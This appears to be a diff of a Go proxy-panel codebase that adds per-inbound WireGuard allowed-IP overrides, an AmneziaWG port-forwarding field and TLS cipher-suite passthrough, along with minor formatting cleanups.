-	PrivateKey   string         `json:"privateKey,omitempty"`
-	PublicKey    string         `json:"publicKey,omitempty"`
-	AllowedIPs   []string       `json:"allowedIPs,omitempty"`
-	PreSharedKey string         `json:"preSharedKey,omitempty"`
-	KeepAlive    int            `json:"keepAlive,omitempty"`
-	Secret       string         `json:"secret,omitempty" example:"ee1234567890abcdef1234567890abcd7777772e636c6f7564666c6172652e636f6d"`
-	AdTag        string         `json:"adTag,omitempty" example:"0123456789abcdef0123456789abcdef"`
-	Email        string         `json:"email"`                        // Client email identifier
-	LimitIP      int            `json:"limitIp"`                      // IP limit for this client
-	TotalGB      int64          `json:"totalGB" form:"totalGB"`       // Total traffic limit in GB
-	ExpiryTime   int64          `json:"expiryTime" form:"expiryTime"` // Expiration timestamp
-	Enable       bool           `json:"enable" form:"enable"`         // Whether the client is enabled
-	TgID         int64          `json:"tgId" form:"tgId"`             // Telegram user ID for notifications
-	SubID        string         `json:"subId" form:"subId"`           // Subscription identifier
-	Group        string         `json:"group,omitempty" form:"group"` // Logical grouping label
-	Comment      string         `json:"comment" form:"comment"`       // Client comment
-	Reset        int            `json:"reset" form:"reset"`           // Reset period in days
-	ResetDay     int            `json:"resetDay" form:"resetDay"`     // Calendar renewal day 1-31, 0 = interval mode
-	ResetMax     int            `json:"resetMax" form:"resetMax"`     // Max auto-renew count, 0 = unlimited
+	ID         string         `json:"id,omitempty"`       // Unique client identifier
+	Security   string         `json:"security"`           // Security method (e.g., "auto", "aes-128-gcm")
+	Password   string         `json:"password,omitempty"` // Client password
+	Flow       string         `json:"flow,omitempty"`     // Flow control (XTLS)
+	Reverse    *ClientReverse `json:"reverse,omitempty"`  // VLESS simple reverse proxy settings
+	Auth       string         `json:"auth,omitempty"`     // Auth password (Hysteria)
+	PrivateKey string         `json:"privateKey,omitempty"`
+	PublicKey  string         `json:"publicKey,omitempty"`
+	AllowedIPs []string       `json:"allowedIPs,omitempty"`
+	// AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound
+	// basis, keyed by inbound id. Lets one identity attached to both
+	// WireGuard and AmneziaWG carry two genuinely different addresses in a
+	// single Create/Update call instead of the shared AllowedIPs field
+	// being broadcast to every attached tunnel inbound. Absent/unset for a
+	// given inbound id falls back to the shared AllowedIPs exactly as
+	// before -- fully backward compatible for callers that never set this.
+	AllowedIPsByInbound map[int][]string `json:"allowedIPsByInbound,omitempty"`
+	PreSharedKey        string           `json:"preSharedKey,omitempty"`
+	KeepAlive           int              `json:"keepAlive,omitempty"`
+	ForwardedPorts      string           `json:"forwardedPorts,omitempty"` // AmneziaWG per-client port-forwarding spec, e.g. "80,443,8000-8100"
+	Secret              string           `json:"secret,omitempty" example:"ee1234567890abcdef1234567890abcd7777772e636c6f7564666c6172652e636f6d"`
+	AdTag               string           `json:"adTag,omitempty" example:"0123456789abcdef0123456789abcdef"`
+	Email               string           `json:"email"`                        // Client email identifier
+	LimitIP             int              `json:"limitIp"`                      // IP limit for this client
+	TotalGB             int64            `json:"totalGB" form:"totalGB"`       // Total traffic limit in GB
+	ExpiryTime          int64            `json:"expiryTime" form:"expiryTime"` // Expiration timestamp
+	Enable              bool             `json:"enable" form:"enable"`         // Whether the client is enabled
+	TgID                int64            `json:"tgId" form:"tgId"`             // Telegram user ID for notifications
+	SubID               string           `json:"subId" form:"subId"`           // Subscription identifier
+	Group               string           `json:"group,omitempty" form:"group"` // Logical grouping label
+	Comment             string           `json:"comment" form:"comment"`       // Client comment
+	Reset               int              `json:"reset" form:"reset"`           // Reset period in days
+	ResetDay            int              `json:"resetDay" form:"resetDay"`     // Calendar renewal day 1-31, 0 = interval mode
+	ResetMax            int              `json:"resetMax" form:"resetMax"`     // Max auto-renew count, 0 = unlimited
 	// Per-client traffic reset cycle, independent of the inbound's own (#5497).
 	// Per-client traffic reset cycle, independent of the inbound's own (#5497).
 	TrafficReset    string `json:"trafficReset,omitempty" form:"trafficReset" validate:"omitempty,oneof=never hourly daily weekly monthly"`
 	TrafficReset    string `json:"trafficReset,omitempty" form:"trafficReset" validate:"omitempty,oneof=never hourly daily weekly monthly"`
 	TrafficResetDay int    `json:"trafficResetDay,omitempty" form:"trafficResetDay" validate:"omitempty,gte=1,lte=31"`
 	TrafficResetDay int    `json:"trafficResetDay,omitempty" form:"trafficResetDay" validate:"omitempty,gte=1,lte=31"`
@@ -918,6 +928,7 @@ type ClientRecord struct {
 	AllowedIPs      string `json:"allowedIPs" gorm:"column:wg_allowed_ips"`
 	AllowedIPs      string `json:"allowedIPs" gorm:"column:wg_allowed_ips"`
 	PreSharedKey    string `json:"preSharedKey" gorm:"column:wg_pre_shared_key"`
 	PreSharedKey    string `json:"preSharedKey" gorm:"column:wg_pre_shared_key"`
 	KeepAlive       int    `json:"keepAlive" gorm:"column:wg_keep_alive;default:0"`
 	KeepAlive       int    `json:"keepAlive" gorm:"column:wg_keep_alive;default:0"`
+	ForwardedPorts  string `json:"forwardedPorts" gorm:"column:wg_forwarded_ports"`
 	Secret          string `json:"secret" gorm:"column:secret"`
 	Secret          string `json:"secret" gorm:"column:secret"`
 	AdTag           string `json:"adTag" gorm:"column:ad_tag;default:''"`
 	AdTag           string `json:"adTag" gorm:"column:ad_tag;default:''"`
 	LimitIP         int    `json:"limitIp" gorm:"column:limit_ip"`
 	LimitIP         int    `json:"limitIp" gorm:"column:limit_ip"`
@@ -1126,13 +1137,14 @@ func (c *Client) ToRecord() *ClientRecord {
 		CreatedAt:       c.CreatedAt,
 		CreatedAt:       c.CreatedAt,
 		UpdatedAt:       c.UpdatedAt,
 		UpdatedAt:       c.UpdatedAt,
 
 
-		PrivateKey:   c.PrivateKey,
-		PublicKey:    c.PublicKey,
-		AllowedIPs:   strings.Join(c.AllowedIPs, ","),
-		PreSharedKey: c.PreSharedKey,
-		KeepAlive:    c.KeepAlive,
-		Secret:       c.Secret,
-		AdTag:        c.AdTag,
+		PrivateKey:     c.PrivateKey,
+		PublicKey:      c.PublicKey,
+		AllowedIPs:     strings.Join(c.AllowedIPs, ","),
+		PreSharedKey:   c.PreSharedKey,
+		KeepAlive:      c.KeepAlive,
+		ForwardedPorts: c.ForwardedPorts,
+		Secret:         c.Secret,
+		AdTag:          c.AdTag,
 	}
 	}
 	if c.Reverse != nil {
 	if c.Reverse != nil {
 		if b, err := json.Marshal(c.Reverse); err == nil {
 		if b, err := json.Marshal(c.Reverse); err == nil {
@@ -1183,13 +1195,14 @@ func (r *ClientRecord) ToClient() *Client {
 		CreatedAt:       r.CreatedAt,
 		CreatedAt:       r.CreatedAt,
 		UpdatedAt:       r.UpdatedAt,
 		UpdatedAt:       r.UpdatedAt,
 
 
-		PrivateKey:   r.PrivateKey,
-		PublicKey:    r.PublicKey,
-		AllowedIPs:   splitWireguardAllowedIPs(r.AllowedIPs),
-		PreSharedKey: r.PreSharedKey,
-		KeepAlive:    r.KeepAlive,
-		Secret:       r.Secret,
-		AdTag:        r.AdTag,
+		PrivateKey:     r.PrivateKey,
+		PublicKey:      r.PublicKey,
+		AllowedIPs:     splitWireguardAllowedIPs(r.AllowedIPs),
+		PreSharedKey:   r.PreSharedKey,
+		KeepAlive:      r.KeepAlive,
+		ForwardedPorts: r.ForwardedPorts,
+		Secret:         r.Secret,
+		AdTag:          r.AdTag,
 	}
 	}
 	if r.Reverse != "" {
 	if r.Reverse != "" {
 		var rev ClientReverse
 		var rev ClientReverse
@@ -1409,6 +1422,12 @@ func MergeClientRecord(existing *ClientRecord, incoming *ClientRecord) []ClientM
 			existing.KeepAlive = incoming.KeepAlive
 			existing.KeepAlive = incoming.KeepAlive
 		}
 		}
 	}
 	}
+	if existing.ForwardedPorts != incoming.ForwardedPorts && incoming.ForwardedPorts != "" {
+		if incomingNewer || existing.ForwardedPorts == "" {
+			keep("forwardedPorts", existing.ForwardedPorts, incoming.ForwardedPorts, incoming.ForwardedPorts)
+			existing.ForwardedPorts = incoming.ForwardedPorts
+		}
+	}
 	if existing.Comment != incoming.Comment && incoming.Comment != "" {
 	if existing.Comment != incoming.Comment && incoming.Comment != "" {
 		if incomingNewer || existing.Comment == "" {
 		if incomingNewer || existing.Comment == "" {
 			keep("comment", existing.Comment, incoming.Comment, incoming.Comment)
 			keep("comment", existing.Comment, incoming.Comment, incoming.Comment)

+ 9 - 5
internal/sub/json_service.go

@@ -639,6 +639,9 @@ func (s *SubJsonService) tlsData(tData map[string]any) map[string]any {
 	if fingerprint, ok := tlsClientSettings["fingerprint"].(string); ok {
 	if fingerprint, ok := tlsClientSettings["fingerprint"].(string); ok {
 		tlsData["fingerprint"] = fingerprint
 		tlsData["fingerprint"] = fingerprint
 	}
 	}
+	if cs, ok := tData["cipherSuites"].(string); ok && cs != "" {
+		tlsData["cipherSuites"] = cs
+	}
 	if ech, ok := tlsClientSettings["echConfigList"].(string); ok && ech != "" {
 	if ech, ok := tlsClientSettings["echConfigList"].(string); ok && ech != "" {
 		tlsData["echConfigList"] = ech
 		tlsData["echConfigList"] = ech
 	}
 	}
@@ -690,9 +693,9 @@ func jsonMux(global, override string) string {
 
 
 func (s *SubJsonService) genVnext(inbound *model.Inbound, streamSettings json_util.RawMessage, client model.Client, mux string) json_util.RawMessage {
 func (s *SubJsonService) genVnext(inbound *model.Inbound, streamSettings json_util.RawMessage, client model.Client, mux string) json_util.RawMessage {
 	outbound := Outbound{
 	outbound := Outbound{
-
 		Protocol: string(inbound.Protocol),
 		Protocol: string(inbound.Protocol),
-		Tag:      "proxy"}
+		Tag:      "proxy",
+	}
 	if mux != "" {
 	if mux != "" {
 		outbound.Mux = json_util.RawMessage(mux)
 		outbound.Mux = json_util.RawMessage(mux)
 	}
 	}
@@ -714,7 +717,8 @@ func (s *SubJsonService) genVnext(inbound *model.Inbound, streamSettings json_ut
 func (s *SubJsonService) genVless(subReq *SubService, inbound *model.Inbound, streamSettings json_util.RawMessage, client model.Client, mux string) json_util.RawMessage {
 func (s *SubJsonService) genVless(subReq *SubService, inbound *model.Inbound, streamSettings json_util.RawMessage, client model.Client, mux string) json_util.RawMessage {
 	outbound := Outbound{
 	outbound := Outbound{
 		Protocol: string(inbound.Protocol),
 		Protocol: string(inbound.Protocol),
-		Tag:      "proxy"}
+		Tag:      "proxy",
+	}
 	if mux != "" {
 	if mux != "" {
 		outbound.Mux = json_util.RawMessage(mux)
 		outbound.Mux = json_util.RawMessage(mux)
 	}
 	}
@@ -793,9 +797,9 @@ func (s *SubJsonService) genServer(subReq *SubService, inbound *model.Inbound, s
 
 
 func (s *SubJsonService) genHy(inbound *model.Inbound, newStream map[string]any, client model.Client, mux string) json_util.RawMessage {
 func (s *SubJsonService) genHy(inbound *model.Inbound, newStream map[string]any, client model.Client, mux string) json_util.RawMessage {
 	outbound := Outbound{
 	outbound := Outbound{
-
 		Protocol: string(inbound.Protocol),
 		Protocol: string(inbound.Protocol),
-		Tag:      "proxy"}
+		Tag:      "proxy",
+	}
 
 
 	if mux != "" {
 	if mux != "" {
 		outbound.Mux = json_util.RawMessage(mux)
 		outbound.Mux = json_util.RawMessage(mux)

Alguns ficheiros não foram mostrados porque muitos ficheiros mudaram neste diff